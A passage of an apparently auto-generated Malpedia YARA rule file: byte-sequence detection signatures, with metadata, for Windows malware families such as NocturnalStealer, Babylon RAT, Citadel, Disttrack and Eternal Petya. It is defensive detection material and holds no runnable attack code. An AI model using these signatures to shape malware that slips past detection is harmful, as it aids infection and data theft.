		$sequence_11 = { 448bc6 488bd0 488bcf e8???????? 8bf8 85c0 }
		$sequence_12 = { 3bfe 7cdd 33c0 40 }
		$sequence_13 = { 895d08 e8???????? 83c410 85c0 7467 }
		$sequence_14 = { ff15???????? ff75fc ff15???????? ff7508 ff15???????? eb0e ff15???????? }
		$sequence_15 = { 8975fc 50 56 56 6a19 ff75f8 ff15???????? }
	condition:
		7 of them and filesize < 123904
}

rule MALPEDIA_Win_Nocturnalstealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5964c83b-5a1b-5913-a49a-303693a90164"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nocturnalstealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "c662283be69db4ef7dfe1019eca1797cdbfc6ecd9828799d75f57c47594f7be3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? bd01000000 81c717a0fb5f 01ef 81ef17a0fb5f 5d 81e7cfaad32f }
		$sequence_1 = { d280e1f107c3 7dbf 41 6c 46 3f a984011afd }
		$sequence_2 = { e9???????? 51 b9dd9abe6f 31c8 59 05f1eb6f2f 05b354dc74 }
		$sequence_3 = { e9???????? bb74bcf36f f7d3 4b 81cb108dfb7b 81e337e4f765 55 }
		$sequence_4 = { c70424009d1a20 891424 ba77a7ee3f 89d3 8b1424 53 89e3 }
		$sequence_5 = { e9???????? 58 81c404000000 e9???????? 81f6d544f73f 58 81eb4703df3d }
		$sequence_6 = { ff3424 8b0c24 57 e9???????? 58 051ff53d3f 01c6 }
		$sequence_7 = { f7d0 2d612e2f1b 053325461d 89c2 58 01542404 5a }
		$sequence_8 = { e9???????? 8365d800 c745dcfedf4900 a1???????? 8d4dd8 33c1 8945e0 }
		$sequence_9 = { e9???????? 81f2209cfd37 81eaf4ffef7d 81c2d90dace9 e9???????? 890c24 812c2439bc9f73 }
	condition:
		7 of them and filesize < 10739712
}

rule MALPEDIA_Win_Disttrack_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "656ce2d7-e23b-52b7-a17b-bd1f83c468f3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.disttrack_auto.yar#L1-L269"
		license_url = "N/A"
		logic_hash = "1a87cbbf3cac3bb5395930782b27d52657176f4eea6766d20ecb09a08d9650c6"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 6a00 6a00 6848000700 }
		$sequence_1 = { e8???????? 83c404 50 e8???????? 83c404 68???????? ff15???????? }
		$sequence_2 = { 53 ff15???????? 5d 5b 8bc7 5f 5e }
		$sequence_3 = { ff15???????? 8d45dc 50 ff15???????? 8b4ddc }
		$sequence_4 = { 57 e8???????? 6a07 e8???????? 59 c3 6a10 }
		$sequence_5 = { 8b4204 8d8c24a4000000 894c2420 c7440434fcc24100 8d4c244c }
		$sequence_6 = { ff15???????? 85c0 7406 8b4df0 51 ffd0 83ffff }
		$sequence_7 = { 0f85a5000000 33d2 488d4c2470 448d4268 }
		$sequence_8 = { 83c1ff 898d14f8ffff 8b9514f8ffff 8a4201 888513f8ffff }
		$sequence_9 = { 48397d10 7430 488b4c2430 e8???????? 4c8bc0 488b542430 }
		$sequence_10 = { 740c 837d1800 7406 837d1c00 751f }
		$sequence_11 = { 8d8424fc000000 50 8d4c2450 e8???????? }
		$sequence_12 = { 0f87260a0000 ff248597fa4000 33c0 838df4fbffffff }
		$sequence_13 = { 32040e 6a00 8d55f0 52 }
		$sequence_14 = { 85c0 750e 80fb2b 7409 80fb2f 0f858c000000 }
		$sequence_15 = { 488d9c1de0010000 448be6 48895c2428 4963cc }
		$sequence_16 = { e8???????? 85c0 75de 488bcb ff15???????? 33c0 488b8c2460020000 }
		$sequence_17 = { 83c804 48397948 0f44d0 eb0e 488b4148 48f7d8 1bd2 }
		$sequence_18 = { e8???????? 68???????? 8d4df4 51 c745f408f34100 e8???????? }
		$sequence_19 = { 85c0 751a 488d156cb10000 41b810200100 488bcd e8???????? }
		$sequence_20 = { c1fe05 c1e106 030cb540174200 eb02 8bca f641247f 759b }
		$sequence_21 = { 33f6 56 51 50 52 e8???????? 8945b8 }
		$sequence_22 = { c745fc00000000 e8???????? c745fcffffffff 8b5790 8b4204 c7443890b4c24100 }
		$sequence_23 = { 8d5c0002 e8???????? 488d542430 448bd8 }
		$sequence_24 = { 8b0c8d40174200 83e61f c1e606 89040e 8b45f8 e9???????? }
		$sequence_25 = { e8???????? 408ac7 488b8d80020000 4833cc e8???????? 4c8d9c2490030000 498b5b10 }
		$sequence_26 = { 8b149540174200 59 c1e006 59 8a4dff 80c901 884c0204 }
	condition:
		7 of them and filesize < 1112064
}

rule MALPEDIA_Win_Poohmilk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cacedc8f-4cf2-5e4c-8224-5986e70d4e19"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poohmilk_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "15b630d72bc25e1b2f8f69f3f9fe553b37147103f16fa6bc4f49ddd60f0d2e34"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 68???????? 8d95ecfdffff 52 }
		$sequence_1 = { 0f84de000000 3bf3 0f84d6000000 8b4110 0fb75704 }
		$sequence_2 = { 752c ff15???????? 6a05 6a00 6a00 }
		$sequence_3 = { 0f84d3000000 33d2 668910 8d85d4f9ffff }
		$sequence_4 = { 8b01 33ff 8995f4efffff 397e10 0f86cf000000 }
		$sequence_5 = { 83ffff 0f8456ffffff 8b95d4fbffff 6a00 8d8dd0fbffff 51 }
		$sequence_6 = { 8bd1 03d7 c785ecefffff00000000 1385ecefffff 89bde8efffff }
		$sequence_7 = { 8b8570d2ffff 8b5038 837a3400 7513 8b8d84d2ffff 8b5028 }
		$sequence_8 = { 40 80b9b075410000 74e8 8a13 0fb6ca 0fbe89b0754100 }
		$sequence_9 = { 33c0 894610 894614 894618 89461c 8b4620 8b4f28 }
	condition:
		7 of them and filesize < 245760
}

rule MALPEDIA_Win_Babylon_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bc5c3c5f-b09f-560b-a5c8-4129e77b8b02"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babylon_rat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "2a5b12d9c48bc80c359b824ca684a979c3525be47a37762af45326a7566f7848"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4610 83c40c 8b4dfc 8b4c080c 8b45f4 3b01 7413 }
		$sequence_1 = { ff75ec e8???????? 59 59 85ff 0f8541010000 8b0b }
		$sequence_2 = { ff75c0 6a23 56 e8???????? 6a01 56 e8???????? }
		$sequence_3 = { 8b450c f6402a20 753d 51 ff75f4 6a70 53 }
		$sequence_4 = { ff3402 e8???????? 8bf0 83c404 803e9a 0f85a6000000 8b55bc }
		$sequence_5 = { eb5e 83f8fa 7508 897e10 884601 eb51 83f8f6 }
		$sequence_6 = { 8d4801 66894dbc 8b4620 8945a4 8b450c 8945b0 8b06 }
		$sequence_7 = { 85f6 7e4c c7451007000000 53 8b450c 0fbe5c1001 0fbe0c10 }
		$sequence_8 = { ff75f4 ffb57cffffff 53 56 e8???????? 83c42c 837dc000 }
		$sequence_9 = { ffb3ac000000 e8???????? 8bbbac000000 be???????? 8b4dfc 03f9 51 }
	condition:
		7 of them and filesize < 1604608
}

rule MALPEDIA_Win_Fct_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d02b72bc-5bf1-5377-8d43-512cbfd79322"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fct"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fct_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "cc0dc64d7cd3b6633f3a5f0a0519f80550bbd17b8f06fffbd5263c4f40c48188"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 803d????????00 753c c705????????60504100 c705????????88534100 c705????????80524100 e8???????? }
		$sequence_1 = { 8365c000 c745c42b2e4000 a1???????? 8d4dc0 33c1 8945c8 8b4518 }
		$sequence_2 = { ffb52cfdffff 6a01 e8???????? 8d8d80fdffff }
		$sequence_3 = { 0f434dd8 3bc2 772c 8d3400 898544fdffff 83fa08 8dbd34fdffff }
		$sequence_4 = { 83c8ff eb07 8b04f574204100 5f 5e 5b }
		$sequence_5 = { 03348d50614100 837e18ff 740c 837e18fe 7406 }
		$sequence_6 = { 83c102 6685c0 75f5 8b5dec }
		$sequence_7 = { 8bc3 d1f9 2bc2 3bc8 772f 83fb08 }
		$sequence_8 = { eb1e 6a02 68???????? c6854cfdffff00 8d4dbc }
		$sequence_9 = { 33c0 6689047e eb21 6a04 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Acidbox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e7057136-2c24-5d9e-851b-e4da203a95ed"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acidbox_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "b9bd6906be69a76719ed536d0340b9bf2024c75961d5ef4e84e1394f2a4d90af"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 89442430 85c0 0f841a010000 }
		$sequence_1 = { 33d2 e9???????? 41c1ee04 33d2 83c6fc 418bce 83e10f }
		$sequence_2 = { 488bce e8???????? 397e18 750b 834b40ff 33c0 e9???????? }
		$sequence_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 }
		$sequence_4 = { 4883ec58 488bf1 bf01200480 8978a8 33db 48895818 448bf3 }
		$sequence_5 = { e8???????? 3b4704 7513 4d897500 8b4708 33db 418907 }
		$sequence_6 = { 4d85f6 741a 33d2 41b880010000 498bce ff15???????? 498bce }
		$sequence_7 = { 488b7128 4885ff 0f84e1000000 4885f6 0f84d8000000 488d8424c0000000 4889442420 }
		$sequence_8 = { 81790800000306 7308 418bc6 e9???????? 488d842418010000 4889442420 41b9a0000000 }
		$sequence_9 = { 897918 488b03 488b8898000000 89791c 488b03 488b8898000000 c7413809000000 }
	condition:
		7 of them and filesize < 589824
}

rule MALPEDIA_Win_Reedbed_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "74769a46-8253-5d47-b255-0c21b0e137a7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reedbed"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reedbed_auto.yar#L1-L143"
		license_url = "N/A"
		logic_hash = "9739a2569b16e57b90481814e6cc540a2c3a0da3aecf12af2fc73ab886c25305"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c9 e8???????? 488b0d???????? 488981c2140000 }
		$sequence_1 = { 33c9 ff15???????? 85c0 751e }
		$sequence_2 = { 4885c9 7405 e8???????? 33c0 0f57c0 }
		$sequence_3 = { eb19 488d15e3d10100 eb10 488d15cad10100 eb07 488d15b5d10100 4533c0 }
		$sequence_4 = { 4c8d0d44e50000 b919000000 4c8d0534e50000 488d1531e50000 e8???????? }
		$sequence_5 = { 488bd8 4885c0 7431 488bc8 ff15???????? 83f8ff }
		$sequence_6 = { 8364244000 4c8d4c2440 baffff0000 c744242004000000 41b801000000 }
		$sequence_7 = { 488b83a6140000 4c8974080e 4883c13f 483bcf 7ceb e8???????? 33c9 }
		$sequence_8 = { c7450400000000 c7452400000000 488b8548010000 83780a00 }
		$sequence_9 = { c7450400000000 c7452400000000 488b85a0010000 4883b8a614000000 }
		$sequence_10 = { c7450400000000 83bd0801000000 7515 488d15ce130f00 }
		$sequence_11 = { c7450400000000 ba01000000 b900003f00 e8???????? }
		$sequence_12 = { c7450400000000 c7452400000000 488b8540010000 8b808c140000 }
		$sequence_13 = { c7450400000000 837d0400 7534 488b8580010000 }
	condition:
		7 of them and filesize < 3760128
}

rule MALPEDIA_Win_Zeroaccess_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b43bafa0-7845-5d97-89eb-71fc1e8384a0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeroaccess_auto.yar#L1-L139"
		license_url = "N/A"
		logic_hash = "58e6fa201d2edf5394810209f43ab6a140ff615859a9e38ec78386b3f1a7fa21"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 7408 ff15???????? eb02 }
		$sequence_1 = { 8b01 ff761c ff7618 ff5004 }
		$sequence_2 = { 50 68???????? 6889001200 8d45fc }
		$sequence_3 = { 6a01 8d45f4 50 ff7608 ff15???????? }
		$sequence_4 = { 48 83c9ff c744242804000000 48 }
		$sequence_5 = { 3bf8 730e 2bc7 e8???????? }
		$sequence_6 = { 68060000c8 ff7708 ff15???????? 85c0 }
		$sequence_7 = { 6a10 68???????? 68060000c8 ff7708 }
		$sequence_8 = { 740c bf03000040 eb05 bf010000c0 85ff }
		$sequence_9 = { 3bc1 7604 83c8ff c3 }
		$sequence_10 = { ff15???????? 85c0 7407 b8e3030000 }
		$sequence_11 = { 89742438 897c2448 e8???????? 48 }
		$sequence_12 = { eb06 ff15???????? 48 8b9520020000 4c }
		$sequence_13 = { 85c0 750c 8d7808 e8???????? ffcf 75f7 833d????????06 }
	condition:
		7 of them and filesize < 464896
}

rule MALPEDIA_Win_Banjori_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b7079fb2-7d83-5fd6-84aa-1cae4150d033"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banjori_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "816a568e5c1724a9f1a3d5f87d5d1a32e57fcc3fa600870ee04fd6629cdfe757"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 75f1 b0ec fd f2ae 817ffd8bff558b 75f5 fc }
		$sequence_1 = { ff15???????? ff75ec ff15???????? 40 50 ff75ec 6a01 }
		$sequence_2 = { ff75f8 ff15???????? 8d3dac169500 57 ff15???????? 40 50 }
		$sequence_3 = { 53 53 53 8d45ec 50 ff75f0 ff75f8 }
		$sequence_4 = { 8985b0feffff 83f864 0f82c2000000 40 50 6a40 ff15???????? }
		$sequence_5 = { 395df0 741b 53 53 53 53 53 }
		$sequence_6 = { e9???????? 55 8bec 83c4f4 57 56 53 }
		$sequence_7 = { 0145f4 6a42 ff75f4 ff75f8 ff15???????? 8945f8 ff75dc }
		$sequence_8 = { 68f1000000 51 ff15???????? 8b4e08 e32c 894de4 895de8 }
		$sequence_9 = { 7808 3d64696a6e 90 7507 e8???????? ebc7 ff35???????? }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Citadel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "405c8c54-58ec-5453-982e-e98970e4bd4a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.citadel_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "9d24b0310c4a8508a9f96dd7e09a8073428bd68f73c4d97c0967ade9f8cc7c1c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb0e 6800800000 53 57 }
		$sequence_1 = { 03f7 6a0d 5f e8???????? }
		$sequence_2 = { 3d00002003 7715 8b4d08 890e }
		$sequence_3 = { 50 57 e8???????? 33db 3c01 }
		$sequence_4 = { 41 66395802 7405 83c002 }
		$sequence_5 = { a1???????? 57 e8???????? 8945fc 3bc3 }
		$sequence_6 = { ff15???????? 85c0 0f8566010000 57 57 57 }
		$sequence_7 = { 33c9 663918 7507 41 }
		$sequence_8 = { eb81 d0e9 3aca 73fa 0fb6c9 8b04c8 ebae }
		$sequence_9 = { 8b5004 0310 8d7101 3bf2 }
		$sequence_10 = { 6685c0 7432 66ff460e 6639460e 7228 }
		$sequence_11 = { 33c0 85c0 7409 3255fd }
		$sequence_12 = { 6685c0 7432 66ff460c 6639460c }
		$sequence_13 = { 5b b001 eb30 d0e8 }
		$sequence_14 = { 85c0 740b 8a5604 8a4e01 ffd0 884601 33c0 }
		$sequence_15 = { ffd0 8807 fe45ff 8a45ff 3a06 72c4 0fb7460a }
	condition:
		7 of them and filesize < 1236992
}

rule MALPEDIA_Win_Eternal_Petya_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0622b1c6-50a1-59bf-9c9e-674c89b8f214"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eternal_petya_auto.yar#L1-L112"
		license_url = "N/A"
		logic_hash = "dc100556655eac63f6dd0a579c598175f64f6a920c350da1549a31a39dd0acc6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4644 50 53 6a02 }
		$sequence_1 = { 8bec 51 57 68000000f0 6a18 33ff }
		$sequence_2 = { 68f0000000 6a40 ff15???????? 8bd8 }
		$sequence_3 = { 57 68000000f0 6a18 33ff }
		$sequence_4 = { 55 8bec 51 57 68000000f0 }
		$sequence_5 = { 55 8bec 51 57 68000000f0 6a18 }
		$sequence_6 = { 53 8d4644 50 53 }
		$sequence_7 = { 55 8bec 51 57 68000000f0 6a18 33ff }
		$sequence_8 = { 51 57 68000000f0 6a18 }
		$sequence_9 = { 53 68f0000000 6a40 ff15???????? }
	condition:
		7 of them and filesize < 851968
}

rule MALPEDIA_Win_Opachki_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e10cd0eb-a431-57d1-b7ee-f206637aeb79"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.opachki_auto.yar#L1-L158"
		license_url = "N/A"
		logic_hash = "9a87a4a85fda49db5f8b260ce2dd4c073885fccbbbb43ca421b7fe7db663b448"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb69 8b5508 8b4904 53 }
		$sequence_1 = { 57 6a0d 68???????? 8d4ddc e8???????? 68ff000000 }
		$sequence_2 = { c3 55 8bec 81ec00010000 ff7508 }
		$sequence_3 = { ff15???????? 8d8500ffffff 50 ff7508 e8???????? 59 59 }
		$sequence_4 = { 034604 50 ff15???????? 8b4708 }
		$sequence_5 = { 57 8b7d0c 8a0f 894508 84c9 744d 8a10 }
		$sequence_6 = { 894708 c6040800 5b 5f }
		$sequence_7 = { 33c0 c706???????? 894608 89460c 894604 e8???????? 8bc6 }
		$sequence_8 = { 2b442424 aa 8944241c 61 }
		$sequence_9 = { ebc1 3c67 7507 884705 b301 ebb6 }
		$sequence_10 = { 00f0 8a0c01 f6c101 0f84b9000000 ac 884708 88c5 }
		$sequence_11 = { 31db 99 b125 f3aa }
		$sequence_12 = { 83c140 eb0a 3ca0 7206 }
		$sequence_13 = { 08db 752b 46 88470c 88c4 c0ec06 }
		$sequence_14 = { 08db 7409 80fe06 750b }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Slowstepper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "83f15ae7-3874-55c6-9009-11d19ac08b8c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slowstepper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slowstepper_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "dd0e842f62bc92cdd486a9615b960e4b584259d9116f2837f2c07d72a5000be5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a04 43 53 50 8945d4 8975e0 8975dc }
		$sequence_1 = { e8???????? b001 e8???????? c3 68a4020000 b8???????? e8???????? }
		$sequence_2 = { 83661000 83c414 8d45b8 c746140f000000 50 8bce c60600 }
		$sequence_3 = { c645fc4c e8???????? 57 c645fc4b 56 8d8dcceeffff e8???????? }
		$sequence_4 = { 85c0 746b 395c241c 765e 53 ff742420 8d8c2474050000 }
		$sequence_5 = { 59 85c0 7507 c605????????01 68???????? 8d9564ebffff 8bce }
		$sequence_6 = { 57 8d4db8 e9???????? 6a48 b8???????? e8???????? 8b4508 }
		$sequence_7 = { 8b8d70faffff 8d85ecfaffff 50 8d85ecfeffff 50 e8???????? 59 }
		$sequence_8 = { ff6008 55 8bec 8b4904 8b01 5d ff600c }
		$sequence_9 = { 6bc00c 8d8405b8feffff 8d8da8feffff 3bc1 7422 8b08 8b95a8feffff }
	condition:
		7 of them and filesize < 909312
}

rule MALPEDIA_Win_Dorshel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "550d8628-f52a-56de-91a7-ece0c38b96fb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dorshel_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "364203df24c6a83e17731caab6caa244bb9a531055fdc65fef6d763de8c4fb40"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 8bec 83ec0c 31c0 648b5030 8b520c 8b5214 }
		$sequence_1 = { 8d7708 8b3f 33fb f3a4 5f }
		$sequence_2 = { 03f8 84c0 75f6 81ff5e515e83 7408 81ff36cadb30 75da }
		$sequence_3 = { 83c004 e2f9 58 54 50 }
		$sequence_4 = { 51 8b0f 33cb 51 ff55f8 8b5df4 }
		$sequence_5 = { 54 50 8b4f04 33cb 51 8b0f }
		$sequence_6 = { ffd5 85c0 74cd 8b07 01c3 }
		$sequence_7 = { ac c1cf0d 03f8 84c0 75f6 81ff5e515e83 7408 }
		$sequence_8 = { 57 6800200000 53 56 68129689e2 ffd5 85c0 }
		$sequence_9 = { 5f 8b4704 33c3 83c104 99 }
	condition:
		7 of them and filesize < 24576
}

rule MALPEDIA_Win_Bka_Trojaner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ef77dd44-0b56-55a7-bd80-bb8aedf02909"
		date = "2026-01-05"
		modified = "2026-01-06"
